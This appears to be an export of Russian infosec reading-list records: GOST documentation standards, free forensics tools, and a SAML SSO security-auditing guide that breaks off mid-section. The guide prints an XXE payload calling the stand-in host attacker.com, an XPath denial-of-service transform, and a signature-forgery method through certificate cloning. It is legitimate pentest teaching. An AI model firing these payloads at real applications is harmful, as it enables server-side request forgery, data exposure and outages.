# data[].attributes.headline
Базовая карта законодательства РФ по защите информации

# data[].attributes.subject
Базовая карта законодательства РФ по защите информации

# data[].attributes.body
https://habr.com/ru/company/bastion/blog/595215/

# data[].attributes.attachment_link.title
Карта законодательства РФ по защите информации [Бастион]

# data[].attributes.headline
Безопасность веб-приложений. Разведка, защита, нападение

# data[].attributes.subject
Безопасность веб-приложений. Разведка, защита, нападение

# data[].attributes.body
Автор: Эндрю Хоффман
В книге описываются основные уязвимости веб-приложений и защиты от них.

В целом это отличное введение в ИБ, и книгу я точно рекомендую. Читается легко, книга небольшая. В общем, 8/10

# data[].attributes.attachment_link.readable_text
Зенин Николай Николаевич

главный архитектор проектов
компании Angara Security

Традиционно разработчики документации на автоматизированные системы при создании и обеспечении защиты этих систем применяли ГОСТы 34-й серии. С 2022 года наконец-то произошло обновление старых стандартов в рамках новой серии национальных и межгосударственных стандартов на автоматизированные системы (далее - ГОСТ на автоматизированные системы).

В этой статье мы проясним основные особенности применения ГОСТ на автоматизированные системы, а также разберемся в изменениях, которые произошли в 2022 году.

Состав ГОСТов на автоматизированные системы

С первой половины 2022 года вступили в действие новые стандарты (пункты 1-6) согласно Таблице 1.

Таблица 1 - Перечень действующих стандартов.

Комплекс стандартов на автоматизированные системы вводит глоссарий, содержит примеры оформления, описывает технологический процесс, содержит продуманную структуру этапов разработки и хорошо узнаваемые разработчиками разделы технической документации.

Своды знаний, содержащиеся в ГОСТах, основаны на результатах исследований, на международных стандартах и на практическом опыте. Даже организациям, которым не требуется следовать во всем ГОСТу, стандарты разработки технической документации будут полезны в качестве чек-листа для проверки, "все ли продумано перед созданием системы?". Применение ГОСТов позволяет снизить риски, связанные с упущениями при проектировании, позволяет выставлять разработчикам требования на понятном языке.

Среди перечисленных стандартов наибольшее внимание в статье будет уделено двум из них, регламентирующим состав и содержание документации технического проекта:

Основные изменения стандартов

Основополагающие в проектировании автоматизированных систем стандарты, разработанные еще в 1989-1992 годах, не подвергались пересмотру 30 лет и, естественно, утратили свою актуальность. Они уже не учитывали современных тенденций развития технологий. Например, с тех времен, когда документы отчерчивали на кульмане, в составе проектной документации было принято разрабатывать "Чертеж формы документа (видеокадра)", а для хранения данных в картотеках с полу автоматизированной обработкой формировался "Каталог базы данных". Был непонятен статус старых стандартов (ведь было принято переиздавать стандарты как минимум раз в 10 лет, но этого не происходило).

И вот, наконец-то стандарты пересмотрены, переизданы и введены в действие.

Кардинально изменилась ситуация неопределенности требований к содержанию технорабочей документации, возникшая с момента отмены в 2019 году методических рекомендаций РД 50-34.698-90. Теперь требования к содержанию документации регламентированы ГОСТ Р 59795-2021.

Стали более четкими формулировки ГОСТ 34.201-2020, введенного взамен ГОСТ 34.201-89 (который устанавливал наименование, комплектность и обозначение документов), теперь устанавливает требования к видам, наименованию, комплектности и обозначению документов. Таким образом, новые требования к наименованию и содержанию документов ГОСТ на автоматизированные системы перешли из разряда методических рекомендаций в разряд требований.

Однако общий подход к разработке комплекта технорабочей документации на автоматизированные системы не пересматривался. Структура прежних стандартов не была подвержена существенным изменениям. Из новых стандартов исключены документы, которые не актуальны для современных автоматизированных систем:

Ведомость машинных носителей информации (ВМ);

Состав выходных данных (сообщений) (В8), при этом оставлен документ "Перечень выходных сигналов (документов)" (В2);

Инструкция по формированию и ведению базы данных (набора данных) (И4).

Остальные 55 документов, 4 из которых - с измененными формулировками (например, вместо "Чертеж формы документа (видеокадра)" - теперь "Шаблон документа", вместо "Каталог базы данных" - "Описание базы данных"), оставлены в перечне документов по ГОСТ 34.201-2020.

Состав работ по созданию систем

Основной стандарт, определяющий последовательность работ по созданию автоматизированных систем, - это ГОСТ Р 59793-2021 "Комплекс стандартов на автоматизированные системы. Автоматизированные системы. Стадии создания" (принят взамен ГОСТ 34.601-90). Данным стандартом определено 8 стадий создания автоматизированных систем, но, по сложившейся практике выполнения проектов, стадии объединяются, и работы выполняются в несколько этапов, перечисленных в Таблице 2.

Таблица 2 - Стадии работ по созданию системы.

Для упрощения применяемой терминологии часть понятий в данной статье объединены (в случаях, где не требуется разделение понятий):

под "созданием системы" подразумеваются как проекты создания, так и проекты модернизации (доработки) системы;

под "системой" подразумеваются как автоматизированные системы (состоящие из персонала, информации, комплекса технических и программных средств автоматизации целевой деятельности), так и информационные системы (аналогично автоматизированным системам, но без персонала), системы защиты информации;

под "системой защиты информации" подразумеваются как, собственно, система/подсистема защиты информации в соответствии с нормативными требованиями, так и системы/подсистемы информационной безопасности (в отличие от "защиты информации", термин "информационная безопасность" часто подразумевает послабление применяемых нормативных требований).

Отдельных комментариев заслуживают стадии: 1. "Формирование требований к АС", 3. "Техническое задание", 4-6, объединенные в этап работ на практике 3) "Технорабочее проектирование". Разберем их подробнее.

Техническое задание

Может возникать путаница в обозначении того, что считается Техническим заданием (Частным техническим заданием):

На стадии 3. "Техническое задание" определяются требования к системе в целом. На основании требований о защите информации государственных информационных систем, значимых объектов критической информационной инфраструктуры, персональных данных, автоматизированных систем управления, утвержденные Постановлением Правительства Российской Федерации от 06.07.2015 №676 и приказами ФСТЭК от 11.02.2013 №17, от 25.12.2017 №239, от 18.02.2013 №21, от 14.03.2014 №31, одновременно с определением требований, определяются и меры защиты информации, применение которых необходимо для нейтрализации актуальных угроз, выявленных по результатам моделирования угроз безопасности информации. Меры защиты включаются в Техническое задание на систему и затем при необходимости могут уточняться в рамках проектирования.

Технорабочее проектирование

На этапе работ "Технорабочее проектирование" разрабатываются два блока документации:

Применяют различные подходы к проектированию, от предоставления заказчику стандартных (автоматически формируемых на основе шаблонов) документов до доскональной проработки настроек и выполняемых в системе операций (с учетом особенностей каждой площадки развертывания системы, характеристик оборудования, указанием сетевых настроек, портов подключения). Подходы к проектированию определяют состав разрабатываемой документации и описаны ниже в разделе "Состав документации".

Практика применения требований ГОСТ на автоматизированные системы

Обязательность применения требований ГОСТ

В соответствии с Федеральным законом от 29.06.2015 №162-ФЗ "О стандартизации в Российской Федерации", добровольность применения документов по стандартизации - один из принципов стандартизации (статья 4).

ГОСТ становится обязательным,

Есть особые случаи, в которых необходимо учитывать требования ГОСТ на автоматизированные системы: создание автоматизированных систем в защищенном исполнении, создание государственных информационных систем, защита персональных данных, защита автоматизированных систем управления технологическими процессами, обеспечение безопасности критической информационной инфраструктуры, аттестация по требованиям безопасности информации. Нормативными требованиями в таких случаях предусматривается разработка:

Технического задания на создание подсистемы безопасности;

модели угроз безопасности информации;

документации на систему (проектной документации);

рабочей (эксплуатационной) документации.

В данных случаях необходимо руководствоваться требованиями ГОСТ на автоматизированные системы, даже если в современных трактовках вышеуказанных нормативных требований к разработке документации не употребляется прямая отсылка к ним, а, например, указываются цитаты из ГОСТ Р 59793-2021:

Так, например, на необходимость учета требований ГОСТ на автоматизированные системы при создании систем указывает действующая нормативная база, в частности:

ГОСТ Р 51583-2014 "Защита информации. Порядок создания автоматизированных систем в защищенном исполнении. Общие положения";

Приказ ФСТЭК России от 11.02.2013 №17 "Об утверждении Требований о защите информации, не составляющей государственную тайну, содержащейся в государственных информационных системах";

Постановление Правительства Российской Федерации от 06.07.2015 №676 (в редакции от 23.12.2021) "О требованиях к порядку создания, развития, ввода в эксплуатацию, эксплуатации и вывода из эксплуатации государственных информационных систем и дальнейшего хранения содержащейся в их базах данных информации".

Последний из указанных нормативных актов не содержит прямого указания на ГОСТ Р 59793-2021, но содержит цитату из него, дополненную требованиями по защите информации: "Этап разработки документации на систему и ее части включает разработку, согласование и утверждение документации в объеме, необходимом для описания полной совокупности проектных решений (в том числе по защите информации) и достаточном для дальнейшего выполнения работ по созданию системы".

ГОСТы на автоматизированные системы и связанные с ними стандарты регламентируют следующие 5 основных областей требований к проектированию систем:

В Таблице 3 обзорно приводится, какие из этих областей требований к проектированию систем по ГОСТ на автоматизированные системы обязательны.

Таблица 3 - Обязательность отдельных областей требований к документации.

Состав документации

Если Вы приступаете к разработке проектной документации по ГОСТ на автоматизированные системы (в рамках создания или модернизации системы) либо оформляете требования к системе для размещения заказа на портале закупок, необходимо определить и требования к разработке документации (состав, содержание и оформление разрабатываемой документации).

Полный состав документации, определенный в ГОСТ 34.201-2020, - избыточен. Среди предложенных документов могут быть выбраны наиболее подходящие исходя из специфики задачи. Если требования заказчика не вполне определены, я предлагаю присмотреться к одному из предложенных в Таблице 4 подходу к проектированию (1...5) - набору документации, описываемой ГОСТами на автоматизированные системы. Один из таких подходов можно выбрать и применять в качестве рекомендации, от которой можно далее отталкиваться.

Таблица 4 - Рекомендуемые наборы документации.

Коды документов в Таблице 4 приведены в соответствии с ГОСТ 34.201-2020. Акты, протоколы, приказы, эскизный проект, редко разрабатываемые документы из списка 55 документов по ГОСТ 34.201-2020 не учитывались в данной таблице.

Набору 1 соответствует практическое отсутствие документации технического проекта и обоснования мер защиты на основе модели угроз (но хотя бы Техническое задание и программа испытаний должны присутствовать в каком-то виде).

Набору 2 соответствует минимальный состав документации (технический проект представлен пояснительной запиской, а эксплуатационная документация - руководством пользователя).

Набору 3 соответствует оптимальный состав документации технорабочего проекта, разрабатываемой на практике в проектах создания систем.

Набору 4 соответствует расширенный состав документации, когда технорабочий проект должен быть всесторонне проработан.

Набор 5 редко требуется в настолько широком составе, даже для аттестации систем.

Содержание документации

Требования к содержанию документации установлены ГОСТ Р 59795-2021, на который (вместо РД 50-34.698-90) следует ссылаться при определении технических требований на проектирование системы.

Разработчику технической документации необходимо вести несколько справочников, отражающих проектные характеристики, и на которых будет основываться разрабатываемая документация:

Справочник объектов автоматизации (объектов защиты). Должен содержать перечни физических адресов, помещений (площадок), сегментов сети, оборудования, адресов и сетевых имен.

Таблицы актуальных угроз, мер защиты, соответствующих им мероприятий и подсистем защиты информации.

Справочник функциональных требований. Должен быть четко описан переход конкретных требований к результатам. Предпроектные технические требования после запуска проекта должны превратиться в Техническое задание (внесением уточнений по результатам обследования и определения угроз), а решения технического проекта должны стать подтверждением перехода от требований "должен" к "решено": [Технические требования (предпроектный этап)] → [Техническое задание (описывает, как должно быть)] → [Технический проект (решения, принятые при проектировании)] → [Рабочая документация (описывает реализованные решения и настройки)].

Номенклатурный справочник. Должен содержать принятую в рамках проекта единую терминологию, правила наименования объектов автоматизации, перечень применимых нормативных документов и требований.

Перечни решений и изменений. Должны содержать категории защищаемой информации, списки автоматизируемых бизнес-процессов, списки ролей и полномочий (должностных обязанностей) пользователей, списки подразделений и организаций, их роли в проекте.

Созданная система справочных данных должна лечь в основу разрабатываемой документации. Это поможет избежать типичной ошибки при проектировании, когда структура документации пере-согласовывается и переделывается многократно по ходу проекта.

На рынке стали доступны среды автоматического формирования комплектов документации по ГОСТ на автоматизированные системы, включая модель угроз по новым требованиям ФСТЭК. Такие среды опираются в своей работе на систему справочных данных по проекту. Для предприятий мелкого и среднего бизнеса подобная услуга может сэкономить время на подготовку документации, если заказчиком предъявляются только базовые требования к содержанию и оформлению документации.

Оформление документации

Стандартом оформления технической документации принято считать ЕСКД (ГОСТ 2) "Единая система конструкторской документации". Требования к тестовым документам установлены ГОСТ 2.105-2019.

Согласно ГОСТ Р 59795-2021 (строки 4-26 в Таблице 4) оформление технической документации выполняют по ГОСТ 2.105 и ГОСТ 2.106, которыми установлены требования к оформлению текстовых документов и чертежей, включая рамку по границам листа, с надписью внизу рамки по ГОСТ 2.104 и с кодом документа по ГОСТ 34.201-2020.

Ранее требованиями ГОСТ 34.602-89 указывалось, что "ТЗ на АС оформляют... без рамки, основной надписи и дополнительных граф к ней". Однако, вступившим в силу ГОСТ 34.602-2020 данная оговорка заменена на "ТЗ на АС оформляют в виде текстового документа". Таким образом, Техническое задание на систему должно оформляться аналогично технорабочему проекту, в рамке по границам листа (если в заказе на разработку документации не будет указано обратное).

Оформление документов в рамке по границам листа формата по ГОСТ 2.301 - в свое время было замечательным решением для обеспечения бумажного документооборота (всегда можно было определить принадлежность листа документа к конструкторской документации и место любого листа по уникальной комбинации кода документа и номера листа). Но с переходом к электронному документообороту требования к наличию рамок стали менее актуальными. Если заказчик разработки документации считает, что рамки по границе листа затрудняют восприятие документа, от них можно отказаться, не нарушая требований ГОСТ. Для этого в заказе на разработку документации необходимо указать: "без рамки", - например, в такой формулировке: "Документация оформляется в виде текстового документа без рамки, основной надписи и дополнительных граф к ней".

Для производства профессионально составленной документации разработчикам (техническим писателям) рекомендуется применять соответствующие ГОСТ рекомендации специализированных руководств, одним из наиболее заслуженных среди которых считается "Справочник издателя и автора" (Мильчин А.Э, Чельцова Л.К.), - шестое издание 2021 года.

Отдельных комментариев заслуживает ситуация с санкционными ограничениями и отзывом в 2022 году компанией Monotype возможности доступа на загрузку распространенных шрифтов Times New Roman, Arial с российских IP-адресов. Данное ограничение не запрещает использовать указанные шрифты на территории Российской Федерации, однако подталкивает разработчиков документации к установке и переходу к использованию шрифтов отечественного производства, из которых наибольшую известность заслужили шрифты компании "Паратайп" (Paratype):

Из системы стандартов по информации, библиотечному и издательскому делу (ГОСТ Р 7.0.97-2016) исключены рекомендации по использованию проприетарных шрифтов из состава ОС Windows (Times New Roman, Arial, Courier New, Verdana), а в ГОСТ 2.105-2019 добавлено примечание о том, что применение таких шрифтов может привести к искажениям при отображении этих документов в других операционных системах (например, при переходе на отечественное ПО), в которых эти шрифты отсутствуют в связи с санкционными и лицензионными ограничениями.

Подытожим?

Итого, по результатам рассмотрения требований ГОСТ на автоматизированные системы, мы приходим к заключению, что эти требования обязательны к применению в перечисленных в данной статье в случаях, связанных с защитой информации. Требования содержат важные структурообразующие элементы, умелое применение которых позволит сформировать слаженную систему документации для создания и эксплуатации автоматизированных систем, систем защиты информации.

# data[].attributes.attachment_link.keywords[]
автоматизированные системы

# data[].attributes.attachment_link.keywords[]
информационная безопасность

# data[].attributes.attachment_link.keywords[]
техническое задание

# data[].attributes.attachment_link.keywords[]
технический проект

# data[].attributes.attachment_link.keywords[]
проектирование

# data[].attributes.attachment_link.title
Требования ГОСТ на автоматизированные системы в ИБ-проектах. Что изменилось и как это применять?

# data[].attributes.attachment_link.description
Зенин Николай Николаевич главный архитектор проектовкомпании Angara Security Традиционно разработчики документации на автоматизированные системы при создании и обеспечении защиты этих систем применяли ГОСТы 34-й серии. С 2022 года наконец-то произошло обновление старых стандартов в рамках новой серии национальных и межгосударственных стандартов на автоматизированные системы (далее - ГОСТ на автоматизированные системы).

# data[].attributes.attachment_link.readable_text
Расследование инцидентов в области информационной безопасности не такая горячая тема, как пентесты, но эта научная и практическая дисциплина продолжает развиваться, во многом, благодаря Open Source сообществу.

Давайте пройдемся по просторам GitHub и посмотрим, какие инструменты для сбора и анализа цифровых доказательств доступны всем желающим.

Под катом утилиты для разбора содержимого оперативной памяти, исследования Docker-образов, анализа журналов, извлечения информации из кеша браузеров и многое другое.

Имейте в виду, что это неполный перечень ПО из арсенала криминалистов. Например, в подборке почти нет специализированных утилит для анализа зловредов. Безопасная работа с ними - отдельная тема.

Деление на группы в статье не претендует на звание классификации, оно сделано для удобства чтения и во многом условно. Отдельные инструменты могли попасть сразу в несколько групп и оказались в конкретных разделах благодаря грубому авторскому произволу.

Многофункциональные "комбайны"

Инструменты для совместного расследования

Мониторинг хостов

- решение для мониторинга конечных точек. Объединяет сбор журналов событий при помощи osquery с гибкой системой уведомлений и различными хранилищами данных: ElasticStack, Azure Log Analytics, Splunk.

- еще один инструмент для мониторинга хостов, который использует osquery для получения журналов событий и собирает их с целевых систем в реальном времени.

IOC - cканеры

Сбор артефактов

Работа с реестром

Работа с журналами

Работа с памятью и образами системы

Извлечение веб-артефактов

Работа с метаданными

Инструменты для Mac

Инструменты для смартфонов

Различные инструменты

Заключение

Форензика отставала от пентестинга по числу удобных общедоступных инструментов, но этот разрыв сокращается. Расследование киберпреступлений становится доступнее для энтузиастов и начинающих специалистов. Вряд ли в ближайшие годы начнется бум компьютерных true crime-подкастов, но, надеюсь, на Хабре станут чаще появляться посты, посвященные цифровой криминалистике.

# data[].attributes.attachment_link.keywords[]
криминалистика

# data[].attributes.attachment_link.keywords[]
компьютерная криминалистика

# data[].attributes.attachment_link.keywords[]
расследование инцидентов

# data[].attributes.attachment_link.keywords[]
расследование инцедентов иб

# data[].attributes.attachment_link.keywords[]
расследование

# data[].attributes.attachment_link.title
70+ бесплатных инструментов для компьютерной криминалистики (форензики)

# data[].attributes.attachment_link.description
Расследование инцидентов в области информационной безопасности не такая горячая тема, как пентесты, но эта научная и практическая дисциплина продолжает развиваться, во многом, благодаря Open Source сообществу. Давайте пройдемся по просторам GitHub и посмотрим, какие инструменты для сбора и анализа цифровых доказательств доступны всем желающим.

# data[].attributes.attachment_link.readable_text
Перед тобой практическое руководство по аудиту безопасности веб-приложений с поддержкой SAML SSO. Single Sign-On - это технология, которая позволяет логиниться в веб-приложение через сторонний сайт (провайдер). А SAML - это популярный XML-протокол для реализации SSO. Мы подробно расскажем, что такое SAML SSO, как он работает. Опишем, каким образом настроить свое приложение на работу с SAML IdP. И наконец, расскажем самое важное - какие инструменты нужно использовать для пентестов, на наличие каких уязвимостей нужно проверять приложение. XXE, атаки через преобразования, XPath-инъекции, ошибки при проверке подписи, атаки XSW, атаки на зашифрованные assertions и многое другое. Велком!

Что такое SAML SSO и зачем он нужен?

Single Sign-On (SSO) - это технология, которая позволяет залогиниться в веб-приложении через сторонний сайт-провайдер. К плюсам использования SSO можно отнести следующее:

Приложение может не хранить аутентификационную информацию - все хранится на стороне провайдера. Если приложение взломают, атакующий не получит аутентификационную информацию (в зависимости от приложения - это могут быть пароли, хеши паролей, зашифрованные пароли).

У пользователя одна и та же учетная запись для доступа к нескольким приложениям, если они используют один и тот же SSO-провайдер. Теоретически это должно заставить пользователя выбрать более стойкий единый пароль.

Если пользователь был аутентифицирован при доступе к одному из приложений, то при доступе к другому приложению повторный ввод имени пользователя и пароля не потребуется.

К минусам можно отнести следующее:

Атакующему нужно узнать только один пароль, чтобы получить доступ сразу к нескольким приложениям от имени пользователя.

Необходимо доверять SSO-провайдеру, который представляет собой "черный ящик". Как правило, владелец приложения ничего не знает о безопасности SSO-провайдера: каким образом хранится аутентификационная информация, кто имеет к ней доступ, какие действия предпринимает SSO-провайдер для обеспечения безопасности.

SSO-провайдер - это точка отказа. Если по каким-то причинам он недоступен, это приведет к неработоспособности приложения.

Код на стороне приложения, отвечающий за SSO, - это дополнительный источник уязвимостей.

Security Assertion Markup Language (SAML) - это открытый стандарт, который описывает фреймворк, позволяющий обеим сторонам (приложению и провайдеру) обмениваться аутентификационной и авторизационной информацией. Аутентификационная и авторизационная информация представляется в виде набора утверждений (assertions), которые подписаны провайдером (и в некоторых случаях зашифрованы).

На момент написания статьи последняя версия стандарта - SAML 2.0.

По стандарту SAML клиент (веб-приложение) и провайдер аутентификации обмениваются аутентификационными утверждениями (assertions) через XML. А это означает, что SAML основан на следующих стандартах w3c, относящихся к XML:

У SAML есть множество сценариев применения:

Web SSO;

Attribute based authorization;

Identity Federation;

WS-Security.

Web SSO (или SAML SSO в нашей терминологии) - это наиболее распространенный юзкейс для SAML, поэтому самый интересный с точки зрения безопасности. В нем мы и будем сегодня разбираться.

В аутентификации через SAML SSO участвуют три стороны:

провайдер аутентификации (SAML identity Provider или SAML IdP);

веб-приложение (SAML Service Provider или SAML SP);

браузер пользователя (User Agent).

User Agent аутентифицируется на стороне SAML IdP, а затем получает доступ к веб-приложению. Веб-приложение доверяет провайдеру и получает от него аутентификационную информацию. Стороны SAML SSO и их взаимоотношения представлены на рис. 1.

В качестве IdP провайдера может выступать один из онлайн-сервисов, таких как OneLogin, Ping Identity, Okta и другие. Или ты можешь развернуть свой IdP, используя софт - Shibboleth или OpenAM. Рассмотрим по шагам, каким образом приложение аутентифицируется на стороне провайдера и затем получает доступ к приложению.

Существует два альтернативных flow для SAML SSO: SP-initiated flow и IdP-initiated flow. Различие заключается в том, к кому обращается User Agent в начале процесса - к приложению или к провайдеру. Мы рассмотрим SP-initiated flow, который представлен на рис. 2.

На первом шаге User Agent обращается к приложению. Так как пользователь не был аутентифицирован, приложение перенаправляет браузер на страницу аутентификации провайдера - IdP Login URL. Этот URL приложение берет из конфигурации SAML. В момент редиректа приложение добавляет параметр SAMLRequest в строку запроса (query string).

Браузер делает запрос к IdP Login URL c параметром SAMLRequest. IdP аутентифицирует пользователя и делает редирект браузера обратно в приложение (на Assertion Consumer URL или ACS URL) с параметром SAML Response в строке запроса, который содержит закодированное сообщение Response. В сообщении Response содержатся утверждения (assertions), которые подписаны провайдером (и, возможно, зашифрованы). Провайдер использует значение ACS URL из конфигурации SAML для этого приложения.

Браузер запрашивает ACS URL и передает SAML Response в качестве параметра запроса. Приложение проверяет подпись сообщения Response и подпись каждого assertion (и, возможно, расшифровывает assertion). Для этого приложение использует сертификат провайдера, который хранится в конфигурации SAML.

Далее приложение на основе данных assertion создает сессию для пользователя, делает редирект браузера на страницу /app/profile и устанавливает cookie с идентификатором сессии пользователя.

Настраиваем SAML SSO в приложении

После того как мы разобрались с теорией, приступим к настройке SAML SSO для тестируемого приложения. У нас есть развернутое приложение, теперь нам нужен SAML IdP (провайдер). Я предпочитаю OneLogin, он популярен, и многие приложения его поддерживают. Еще OneLogin предоставляет полезные утилиты, которые тебе пригодятся при тестировании безопасности. Утилиты находятся здесь.

Регистрируем бесплатный девелоперский аккаунт. Идем в APPS → Company Apps, затем нажимаем кнопку Add Apps. В строке поиска необходимо набрать SAML Test Connector, как показано на рис. 3. Далее выбираем SAML Test Connector (IdP w/attr).

Задаем имя для коннектора и нажимаем кнопку Save.

На стороне нашего приложения идем в настройки SAML IdP (рис. 4). Нам нужно скопировать значения полей Issuer, ACS URL, Logout URL. Эти три параметра нам генерирует приложение, и они используются для настройки коннектора на стороне IdP.

Параметры, которые сгенерировало приложение, необходимо перенести в настройки коннектора, как показано на рис. 5. На этом все, настройка коннектора завершена!

Переходим на вкладку SSO. Копируем значения X.509 certificate, Issuer URL, SAML Endpoint и SLO Endpoint из настроек коннектора в настройки нашего приложения (рис. 6).

Далее необходимо создать пользователя в IdP. Для этого идем в Users → All Users, как показано на рис. 7. Нажимаем кнопку New User.

Создаем нового пользователя, указываем email и пароль. Переходим на вкладку Applications и выбираем сконфигурированный нами коннектор (рис. 8).

В нашем приложении создаем пользователя с таким же email, так как связка пользователей между IdP и нашим приложением осуществляется по email. На этом настройка SAML SSO завершена.

Когда мы пытаемся залогиниться в наше приложение, оно редиректит нас к IdP на страницу логина - SAML 2.0 endpoint (см. конфигурацию коннектора в OneLogin). После успешного логина пользователя на стороне IdP происходит редирект в наше приложение на ACS URL. В параметре SAML Response передается закодированное в Base64 сообщение Response (рис. 9).

Мы можем декодировать Response. Для этого используем эту утилиту (рис. 10):

А затем, используя эту утилиту, мы получим XML Response, которым подписан IdP (рис. 11).

Если SAML Response был сжат на стороне IdP, то для декодирования тебе нужно использовать Base64 Decode + Inflate вместо Base64 Decode.

Все, на этом процесс настройки и отладки SAML SSO завершен. Переходим к самому интересному - багам!

Арсенал для тестирования SAML SSO

На данном этапе у тебя есть тестируемое приложение с работоспособным SAML SSO. Разберемся, какие инструменты использовать для тестирования безопасности.

Конечно, в первую очередь утилиты с сайта, которые ранее упоминались:

раздел CODE/DECODE позволит тебе закодировать или декодировать сообщения SAML;

раздел SIGN позволит тебе подписать SAML-сообщения, используя секретный ключ;

раздел VALIDATE позволит тебе проверить подпись у SAML-сообщения;

раздел ENCRYPT/DECRYPT позволит тебе зашифровать или расшифровать SAML-сообщения, для расшифровки понадобится секретный ключ;

раздел EXAMPLES содержит примеры различных SAML-сообщений.

Если ты занимаешься веб-безопасностью, то, скорее всего, в твоем хакерском арсенале есть Burp Suite. Я представлю два плагина, которые предназначены для тестирования SAML. Ты можешь использовать эти плагины даже с бесплатной версией Burp Suite.

Первый плагин - это SAML Editor, написан на Python. Для того чтобы он заработал, придется установить Jython standalone и указать в настройках Burp Extender путь к Jython. Плагин очень простой, он добавляет дополнительную табу с именем SAML, которая позволяет редактировать SAML-сообщения на лету (рис. 12). Больше он ничего не умеет, его удобно использовать, чтобы быстро отредактировать сообщение.

Второй плагин - это SAML Raider. Плагин написан на Java, можно его собрать, используя Maven, либо скачать готовый jar-файл.

Плагин добавляет новую табу с именем SAML Raider, которая позволяет работать с подписями: удалять подписи, подписывать assertions и/или сообщение SAML, используя импортированный или сгенерированный приватный ключ и сертификат.

Самое замечательное, что умеет плагин SAML Raider, - это тестировать приложение на уязвимости XML Signature Wrapping (XSW). Поддерживаются восемь типов XSW-атак (см. рис. 13).

Дополнительно плагин добавляет табу SAML Raider Certificates, которая позволяет импортировать приватный ключ и сертификат, который затем можно использовать для подписи assertions и SAML-сообщения. У плагина есть очень полезная возможность - сгенерировать приватный ключ и сертификат, при этом полностью скопировать поля из сертификата IdP в сгенерированный сертификат. Для этого, находясь на табе SAML Raider, необходимо нажать кнопку Send Certificate to SAML Raider Certs, затем перейти на вкладку SAML Raider Certificates и нажать кнопку Clone, выбрав сертификат IdP (рис. 14).

Рассмотренных инструментов будет достаточно для того, чтобы протестировать безопасность реализации SAML SSO в интересующем приложении.

Ищем уязвимости в SAML SSO

Самая интересная часть статьи - это какие уязвимости в реализации SAML SSO ты можешь найти на стороне приложения. Поехали.

XXE повсюду

SAML-сообщения представляют собой XML. Это означает, что тестируемое приложение потенциально подвержено уязвимостям, связанным с парсингом XML. Сюда можно отнести уязвимости XML External Entities (XXE), Server-Side Request Forgery (SSRF) и XML Entity Expansion (XEE, в массах более известна как Billion Laughs attack).

Эти уязвимости очень распространены, когда речь идет о парсинге XML. На страницах Хакера про эти уязвимости не раз писали, поэтому я не буду подробно на них останавливаться. Только порекомендую хорошую "методичку" по данным уязвимостям. Эти уязвимости работают, несмотря на то что SAML-сообщение подписано, так как проверка подписи происходит уже после парсинга XML.

Первым делом при тестировании безопасности SAML SSO нужно перехватить сообщение Response и заменить его на следующее:

<?xml version="1.0" encoding="utf-8"?> <?xml-stylesheet type="text/xml" href="http://attacker.com:8888/vector.xsl"?> <!DOCTYPE Response SYSTEM "http://attacker.com:8888/vector.dtd" [ <!ENTITY % remote SYSTEM "http://attacker.com:8888/vector.parameter.entities"> <!ENTITY xxe SYSTEM "http://attacker.com:8888/vector.general.entities"> %remote; ]> <Response> <foo>&xxe;</foo> <x xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://attacker.com:8888/vector.xi"></x> <y xmlns=http://a.b/ xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://a.b/ http://attacker.com:8888/vector.xsd">a</y> </ Response>

Хостнейм attacker.com нужно заменить на твой хостнейм, который доступен тестируемому приложению. Если у тебя нет публичного сервера, ты можешь воспользоваться этим отличным сервисом. Он логирует все поступившие HTTP/HTTPS-запросы.

Если на attacker.com пришел GET-запрос, это означает, что приложение уязвимо.

Преобразования и цифровая подпись

Стандарт цифровой подписи в XML предусматривает различные трансформации (преобразования) XML-документа перед его подписью. У элемента <ds:Signature> есть дочерний элемент <ds:Transforms>, который содержит несколько элементов <ds:Transform>. Каждый элемент <ds:Transform> определяет одно преобразование.

Возможны следующие преобразования:

Enveloped signature - это вид XML-подписи, когда элемент с подписью помещается внутрь элемента, для которого вычисляется подпись. Преобразование enveloped signature означает, что при вычислении подписи для целевого элемента необходимо убрать из него элемент <ds:Signature>. То есть подпись вычисляется без <ds:Signature>;

C14N - преобразование, которое заключается в приведении XML-документа к каноническому (логическому) виду (canonicalization) для XML версии 1.0;

C14N11 - преобразование к каноническому виду для XML версии 1.1;

XPath - XPath-фильтрация, применяется, когда необходимо подписать определенную часть документа;

XSLT - преобразование подписываемого XML-документа на основе таблицы стилей.

SAML IdP при формировании подписи проводит последовательность трансформаций. Проверяющая подпись сторона - наше приложение должно осуществить ту же самую последовательность преобразований в процессе проверки валидности подписи.

Преобразования enveloped signature, С14N либо С14N11 являются обязательными, преобразования XPath и XSLT - опциональными. То есть проверяющая подпись сторона может не поддерживать опциональные преобразования.

Если код, осуществляющий проверку подписи в нашем приложении, поддерживает XSLT-преобразование, это означает, что наше приложение, скорее всего, уязвимо к различным атакам: исполнению кода (RCE), SSRF, доступу к локальным файлам, DoS, разглашению конфигурационной информации. Серьезность уязвимости зависит от используемой XSLT-библиотеки. Не буду вдаваться в детали атак с использованием XSLT. Ограничусь ссылкой на выступление про практическую эксплуатацию XSLT-преобразований с конференции OWASP Switzerland 2015.

Как и в случае с уязвимым XML-парсингом, для совершения атак не нужно специальных инструментов. Достаточно декодировать Response и добавить элемент <ds:Transform>, который содержит дочерний элемент . Все трансформации выполняются до проверки подписи. Для проверки, поддерживает ли наше приложение XSLT в подписи, можно использовать следующее XSLT-преобразование:

Если на attacker.com пришел GET-запрос, это означает, что приложение поддерживает XSLT.

Надо отметить, что не все XSLT-библиотеки поддерживают обращение к внешним ресурсам по протоколу HTTP/HTTPS. В этом случае можно использовать следующее XSLT-преобразование:

Если приложение долго не отвечает, то оно поддерживает XSLT и уязвимо к DoS-атакам.

Когда приложение не поддерживает XSLT, но поддерживает XPath-преобразование, оно уязвимо к DoS-атакам. Для того чтобы это проверить, можно использовать следующее XPath-преобразование.

<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xpath-19991116"> <ds:XPath>count(//. | //@* | //namespace::*)</ds:XPath> </ds:Transform>

Если приложение отвечает дольше обычного, то оно поддерживает XPath.

XPath-инъекции

Еще одна интересная уязвимость - это XPath-инъекция. Рассмотрим, как происходит проверка подписи SAML Response. Обычно код, осуществляющий проверку подписи, ищет элемент <ds:Signature> и из дочернего элемента <ds:Reference> извлекает атрибут URI. Затем использует значение URI в XPath-выражении, наподобие //*[@ID='aaa'], для поиска элемента <saml:Assertion>, для которого требуется проверка подписи. В приведенном примере XPath aaa - это идентификатор.

